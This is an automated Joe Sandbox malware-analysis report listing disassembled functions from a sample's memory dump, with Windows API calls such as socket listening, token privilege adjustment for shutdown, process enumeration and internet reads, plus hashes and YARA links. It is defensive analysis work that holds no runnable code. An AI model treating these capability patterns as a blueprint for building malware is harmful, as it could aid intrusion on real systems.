Instruction Fuzzy Hash: 3541917290024A9FDF21EF65CC85AEEBBB4FF05310F14456AE855A71A0DB349E48EF90

Function 00F94140 Relevance: 11.6, APIs: 1, Strings: 5, Instructions: 1132COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00F944ED
VUUU, xrefs: 00F944DB
VUUU, xrefs: 00F94520
VUUU, xrefs: 00FC7B0C
ERCP, xrefs: 00F9421F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: eb1a80f52948915e02727f7b38a84ff04ccf521f971bee9da81a7f8036fa0e55
Instruction ID: f657c1ddf15716a4ad6b47b0e18f698efc7743176e56c51d6884fd8b7f437d00
Opcode Fuzzy Hash: eb1a80f52948915e02727f7b38a84ff04ccf521f971bee9da81a7f8036fa0e55
Instruction Fuzzy Hash: DBA29471E0421ACBEF24DF58C981FADB7B1BF64324F1481A9D856A7280D734AD86EF50

Function 00F958C0 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00F95A05
_memmove.LIBCMT ref: 00F95A55
_memmove.LIBCMT ref: 00F95ABB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: bcb2d14444a73115b2ef94ba221a201bcb043c5186faa50646bc9b5504815157
Instruction ID: 705c4c8fea08a17ed4479a2d07f9c266a3178f64300ea42e05e0253c9e5d6021
Opcode Fuzzy Hash: bcb2d14444a73115b2ef94ba221a201bcb043c5186faa50646bc9b5504815157
Instruction Fuzzy Hash: A3128B71A00A09DFDF14DFA4D981AEEB7B6FF48700F14412AE406E7251EB3AAD15EB50

Function 00FE545F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00FD8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FD8D0D
Part of subcall function 00FD8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FD8D3A
Part of subcall function 00FD8CC3: GetLastError.KERNEL32 ref: 00FD8D47

ExitWindowsEx.USER32(?,00000000), ref: 00FE549B

Strings

, xrefs: 00FE5489
@, xrefs: 00FE548E
SeShutdownPrivilege, xrefs: 00FE546B

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 96c51f2ed0ee279628b850a082cc8882aa8e1692e89b383a0f9cb0ca0da417d5
Instruction ID: e8de00a249552ea13bf945132f6572779d3c6e19454bace36912a29e978b84ff
Opcode Fuzzy Hash: 96c51f2ed0ee279628b850a082cc8882aa8e1692e89b383a0f9cb0ca0da417d5
Instruction Fuzzy Hash: 14014C72A54A456BF738D676DC5ABBA7258EB00F67F340025FC46D60C3D9950C806291

Function 00FF6596 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00FF65EF
WSAGetLastError.WSOCK32(00000000), ref: 00FF65FE
bind.WSOCK32(00000000,?,00000010), ref: 00FF661A
listen.WSOCK32(00000000,00000005), ref: 00FF6629
WSAGetLastError.WSOCK32(00000000), ref: 00FF6643
closesocket.WSOCK32(00000000,00000000), ref: 00FF6657

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: d2670836ba16708bb743d1c3155ff8e2febf470d3d2c7ec3cf8da8842b2a99c3
Instruction ID: 2ffc8fd4183cd8bb9e39f8ef1d1e7ff7a0185f00cb4cb5b6489fc7df7270335a
Opcode Fuzzy Hash: d2670836ba16708bb743d1c3155ff8e2febf470d3d2c7ec3cf8da8842b2a99c3
Instruction Fuzzy Hash: E021D2316002159FCB20EF64CC89B7EB7A9EF44720F148159EA5AEB3D1CB78AD05EB51

Function 00F95680 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00FA0FF6: std::exception::exception.LIBCMT ref: 00FA102C
Part of subcall function 00FA0FF6: __CxxThrowException@8.LIBCMT ref: 00FA1041

_memmove.LIBCMT ref: 00FD062F
_memmove.LIBCMT ref: 00FD0744
_memmove.LIBCMT ref: 00FD07EB

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 874513e6aa40ca21066ec8ed2315483900ba1d00dc3176d741b9d89ca1f4bf6a
Instruction ID: 412d1f797c60f9007e5eb203a9761b4cf0c4011fa1570f0a22e1dcf58d41898f
Opcode Fuzzy Hash: 874513e6aa40ca21066ec8ed2315483900ba1d00dc3176d741b9d89ca1f4bf6a
Instruction Fuzzy Hash: B1028EB1E00209DFDF04DF64D981AAEBBB5EF44310F18806AE806DB355EB35DA51EB91

Function 00F81287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

DefDlgProcW.USER32(?,?,?,?,?), ref: 00F819FA
GetSysColor.USER32(0000000F), ref: 00F81A4E
SetBkColor.GDI32(?,00000000), ref: 00F81A61

Part of subcall function 00F81290: DefDlgProcW.USER32(?,00000020,?), ref: 00F812D8

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: f8467549b3a5c6137ffb17c25f24af483796326176ac60e8f36202facb84bcf9
Instruction ID: ee778d245b11af4ceceb759a90b8807204b1181a68e1a48dc43455250c57c41f
Opcode Fuzzy Hash: f8467549b3a5c6137ffb17c25f24af483796326176ac60e8f36202facb84bcf9
Instruction Fuzzy Hash: 91A127B2505546BAEA3DBA29CC84EFB369CFB82361F14030AF442D61C5DA5E9D03B771

Function 00FF6A5A Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00FF80A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00FF80CB

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00FF6AB1
WSAGetLastError.WSOCK32(00000000), ref: 00FF6ADA
bind.WSOCK32(00000000,?,00000010), ref: 00FF6B13
WSAGetLastError.WSOCK32(00000000), ref: 00FF6B20
closesocket.WSOCK32(00000000,00000000), ref: 00FF6B34

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: a60e1074fcc6411fdce0974315d64cdfb36a290569f023945398b5c285f4e291
Instruction ID: 6ff5f113a59c9195da5f35c81f9efc7de29c231b7af6b409e49a04f30aec4957
Opcode Fuzzy Hash: a60e1074fcc6411fdce0974315d64cdfb36a290569f023945398b5c285f4e291
Instruction Fuzzy Hash: 5E41E635700214AFEB10BF64DC86FBE77A59F44710F448058FA5AEB3D2DA785D01A791

Function 010055FD Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 0100564C
IsWindowEnabled.USER32 ref: 0100565A
GetForegroundWindow.USER32(?,?,00000001), ref: 01005667
IsIconic.USER32 ref: 01005675
IsZoomed.USER32 ref: 01005683

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: bfe15b582aa618d2f301b17f9b0b9221b74b4ad3bd62df779989e14dafb6442f
Instruction ID: 74a79d4ce1d5996c24b3c32a30336c9a573c2ef4384fde577f2413131ea9bb8e
Opcode Fuzzy Hash: bfe15b582aa618d2f301b17f9b0b9221b74b4ad3bd62df779989e14dafb6442f
Instruction Fuzzy Hash: 3E11BF313006116FF7336F2AEC44A6FBB9DEF48721F044429E986D7281CB7999029FA5

Function 00FFC304 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00FC1D88,?), ref: 00FFC312
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00FFC324

Strings

kernel32.dll, xrefs: 00FFC30D
GetSystemWow64DirectoryW, xrefs: 00FFC31E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: 809dd5ea2524d1edac4d2b6c90fb836cc43ca98eab96bb30a9a59a07f2d5210b
Instruction ID: fbf338788ff76f4d5689a71aa6fe8e308b643e30219c75afa007aed0ba661202
Opcode Fuzzy Hash: 809dd5ea2524d1edac4d2b6c90fb836cc43ca98eab96bb30a9a59a07f2d5210b
Instruction Fuzzy Hash: 47E08C74A0072B8FDB314B2AC414AD676D8EF093A4F808429E9C5D6220E7B4D840EBA0

Function 00F93190 Relevance: 6.6, APIs: 4, Instructions: 587COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: __itow__swprintf
String ID:
API String ID: 674341424-0
Opcode ID: 1f3860631286fa904bafba49d9fb9b16d59f9f22c4d30986a82fd6668a5c8faa
Instruction ID: 39f7f50d54b673eb8631dd7e026ef667fc0df2727479ca9e5d4dada3e03c256a
Opcode Fuzzy Hash: 1f3860631286fa904bafba49d9fb9b16d59f9f22c4d30986a82fd6668a5c8faa
Instruction Fuzzy Hash: 0122AD715083029FDB24EF24C881BAFB7E4BF88714F14491DF49A97291DB75EA04EB92

Function 00FFF121 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00FFF151
Process32FirstW.KERNEL32(00000000,?), ref: 00FFF15F

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Process32NextW.KERNEL32(00000000,?), ref: 00FFF21F
CloseHandle.KERNEL32(00000000,?,?,?), ref: 00FFF22E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: a110ecfc3889a0a649fa278c2b18ae0f4c0870ee9a7a0a5f077c2f49263bee0d
Instruction ID: 698e364cb70938b2a30caff639c9d38b583345349b2ffb69c7cc8069ff711c24
Opcode Fuzzy Hash: a110ecfc3889a0a649fa278c2b18ae0f4c0870ee9a7a0a5f077c2f49263bee0d
Instruction Fuzzy Hash: 92518E715083019FD320EF20DC85AABB7E8FF94B10F54482DF596972A1EB74E908DB92

Function 00FE40B1 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00FE40D1
_memset.LIBCMT ref: 00FE40F2
DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00FE4144
CloseHandle.KERNEL32(00000000), ref: 00FE414D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle_memset
String ID:
API String ID: 1157408455-0
Opcode ID: ff0e8d735a07c4d9581fd6d23e00a2c5b4a5771e4419b89372d258e1d2e375d5
Instruction ID: 0c248a3602ce1896c95342fd082d96adb3cbe60137cd7c3f9bf4ea378cfd50b5
Opcode Fuzzy Hash: ff0e8d735a07c4d9581fd6d23e00a2c5b4a5771e4419b89372d258e1d2e375d5
Instruction Fuzzy Hash: 0511A775D012287AD7309BA5AC4DFABBB7CEF45760F10419AF908D7180D6745E809BA4

Function 00FDEB07 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 00FDEB19

Strings

|, xrefs: 00FDEB49
(, xrefs: 00FDEB5F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: lstrlen
String ID: ($|
API String ID: 1659193697-1631851259
Opcode ID: 45659235c46b34f8163fa5ecdde1a42badea48f1354d7714565759704fa574cd
Instruction ID: a44aac6b10d5bf8650585d625ef11da65376b1f3bc8e550e06e19c5730aa7329
Opcode Fuzzy Hash: 45659235c46b34f8163fa5ecdde1a42badea48f1354d7714565759704fa574cd
Instruction Fuzzy Hash: 29323675A007059FDB28DF19C481A6AB7F1FF48320B15C56EE89ADB3A1EB70E941DB40

Function 00FF25E2 Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00FF1AFE,00000000), ref: 00FF26D5
InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00FF270C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Internet$AvailableDataFileQueryRead
String ID:
API String ID: 599397726-0
Opcode ID: 9971d79fe90bd5f2842d5f7a8e5644a71816a6bc968122872c4702f87f6b386f
Instruction ID: f8751045c910bfc4563bbc65d7b2b16b8e0ea391cf809fa7d87b512fb3d5acef
Opcode Fuzzy Hash: 9971d79fe90bd5f2842d5f7a8e5644a71816a6bc968122872c4702f87f6b386f
Instruction Fuzzy Hash: E341D27290020DBFEB60EE54CC85EBBB7ACEF40724F10406AFB05E6150EA75AE41B665

Function 00FEB59E Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00FEB5AE
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00FEB608
SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 00FEB655

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 1a300a175d647e48cff515d71215476f78ce200ff3639947e516dc25f3eda6f3
Instruction ID: bdd5ff0406bff7bf24c02515b762b415292b0336e2429d45f53868b167026a18
Opcode Fuzzy Hash: 1a300a175d647e48cff515d71215476f78ce200ff3639947e516dc25f3eda6f3
Instruction Fuzzy Hash: 2D216035A00518EFCB00EFA5D884AEEBBB8FF49310F148099E845AB351DB35A916DB51

Function 00FD8CC3 Relevance: 4.6, APIs: 3, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00FA0FF6: std::exception::exception.LIBCMT ref: 00FA102C
Part of subcall function 00FA0FF6: __CxxThrowException@8.LIBCMT ref: 00FA1041

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00FD8D0D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00FD8D3A
GetLastError.KERNEL32 ref: 00FD8D47

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
String ID:
API String ID: 1922334811-0
Opcode ID: d79ecb7d53ab19b9294acbfa1fd14542f1e110aeca396a567f15831fec492b28
Instruction ID: 637ea1fd2b814daf6c2faef1e7831267daa3e5cb287394f5f4923ea9596daa5c
Opcode Fuzzy Hash: d79ecb7d53ab19b9294acbfa1fd14542f1e110aeca396a567f15831fec492b28
Instruction Fuzzy Hash: 5111C1B1814209AFE728EF54EC85D6BB7BDFB04760B24852EF45693240EF30BC419B20

Function 00FE4C03 Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00FE4C2C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 00FE4C43
FreeSid.ADVAPI32(?), ref: 00FE4C53

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: 1da4f322106c95918c34a558b86b60f29f86fa13a572a211e6e9f89f78be1f26
Instruction ID: 7769be18b6ffa438d19b3a43c0f1f27741a81d47bbb59243641a2114f89076fb
Opcode Fuzzy Hash: 1da4f322106c95918c34a558b86b60f29f86fa13a572a211e6e9f89f78be1f26
Instruction Fuzzy Hash: F6F04975A1130DBFDF14DFF4D889AAEBBBCEF08211F1044A9A901E2180E6756A049B50

Function 00F8E060 Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bcda06cdd6dfa4e1999e0d6056aa9065ab4c931b1f1daaabb68e14020c6ce05
Instruction ID: 036d5e17c881e387091cef9b945c8caf8e554097597f9632846888efd1680f2c
Opcode Fuzzy Hash: 9bcda06cdd6dfa4e1999e0d6056aa9065ab4c931b1f1daaabb68e14020c6ce05
Instruction Fuzzy Hash: 47229B75E00216CFDB24EF54C985BEABBB0FF09310F148069E856AB341E774AD85EB91

